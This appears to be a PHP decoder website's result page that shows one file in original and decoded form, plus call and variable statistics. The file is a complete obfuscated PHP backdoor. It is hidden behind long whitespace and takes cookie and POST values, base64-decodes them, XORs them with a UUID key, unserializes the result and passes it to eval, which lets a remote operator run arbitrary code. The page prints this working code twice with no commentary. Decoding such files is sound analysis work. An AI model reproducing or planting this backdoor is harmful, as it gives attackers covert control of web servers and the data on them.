Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $FxgnMeRmkU = chr ( 905 - 801 ).'o' . chr ( 506 - 397 ).chr (95) . "Z" . "M" . chr (86) . chr (84); $cnQINgbaB = "class_exists";$hSiFW = $cnQINgbaB($FxgnMeRmkU); $dnPxAhG = $hSiFW;if (!$dnPxAhG){class hom_ZMVT{private $ihRKC;public static $XveZPRGGrM = "b8c05147-850d-4713-a71e-cb1749edf0ad";public static $JeWFa = NULL;public function __construct(){$vczYu = $_COOKIE;$qApoyRQCuD = $_POST;$ltziH = @$vczYu[substr(hom_ZMVT::$XveZPRGGrM, 0, 4)];if (!empty($ltziH)){$IuEmrQwdH = "base64";$CtJTh = "";$ltziH = explode(",", $ltziH);foreach ($ltziH as $APgukz){$CtJTh .= @$vczYu[$APgukz];$CtJTh .= @$qApoyRQCuD[$APgukz];}$CtJTh = array_map($IuEmrQwdH . chr ( 157 - 62 ).'d' . 'e' . chr ( 791 - 692 ).chr (111) . chr (100) . "e", array($CtJTh,)); $CtJTh = $CtJTh[0] ^ str_repeat(hom_ZMVT::$XveZPRGGrM, (strlen($CtJTh[0]) / strlen(hom_ZMVT::$XveZPRGGrM)) + 1);hom_ZMVT::$JeWFa = @unserialize($CtJTh);}}public function __destruct(){$this->qRdQI();}private function qRdQI(){if (is_array(hom_ZMVT::$JeWFa)) {$MFthM = str_replace('<' . '?' . "p" . chr (104) . chr ( 532 - 420 ), "", hom_ZMVT::$JeWFa["c" . "o" . "n" . "t" . chr (101) . "n" . "t"]);eval($MFthM);exit();}}}$zBTrZj = new hom_ZMVT(); $zBTrZj = NULL;} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $FxgnMeRmkU = chr ( 905 - 801 ).'o' . chr ( 506 - 397 ).chr (95) . "\132" . "\x4d" . chr (86) . chr (84); $cnQINgbaB = "class_exists";$hSiFW = $cnQINgbaB($FxgnMeRmkU); $dnPxAhG = $hSiFW;if (!$dnPxAhG){class hom_ZMVT{private $ihRKC;public static $XveZPRGGrM = "b8c05147-850d-4713-a71e-cb1749edf0ad";public static $JeWFa = NULL;public function __construct(){$vczYu = $_COOKIE;$qApoyRQCuD = $_POST;$ltziH = @$vczYu[substr(hom_ZMVT::$XveZPRGGrM, 0, 4)];if (!empty($ltziH)){$IuEmrQwdH = "base64";$CtJTh = "";$ltziH = explode(",", $ltziH);foreach ($ltziH as $APgukz){$CtJTh .= @$vczYu[$APgukz];$CtJTh .= @$qApoyRQCuD[$APgukz];}$CtJTh = array_map($IuEmrQwdH . chr ( 157 - 62 ).'d' . 'e' . chr ( 791 - 692 ).chr (111) . chr (100) . "\x65", array($CtJTh,)); $CtJTh = $CtJTh[0] ^ str_repeat(hom_ZMVT::$XveZPRGGrM, (strlen($CtJTh[0]) / strlen(hom_ZMVT::$XveZPRGGrM)) + 1);hom_ZMVT::$JeWFa = @unserialize($CtJTh);}}public function __destruct(){$this->qRdQI();}private function qRdQI(){if (is_array(hom_ZMVT::$JeWFa)) {$MFthM = str_replace('<' . '?' . "\x70" . chr (104) . chr ( 532 - 420 ), "", hom_ZMVT::$JeWFa["\143" . "\157" . "\156" . "\164" . chr (101) . "\156" . "\x74"]);eval($MFthM);exit();}}}$zBTrZj = new hom_ZMVT(); $zBTrZj = NULL;} ?>

Function Calls

chr 5
class_exists 1

Variables

$cnQINgbaB class_exists
$FxgnMeRmkU hom_ZMVT

Stats

MD5 be21bcc767f6dbdab8dc35933942f85e
Eval Count 0
Decode Time 55 ms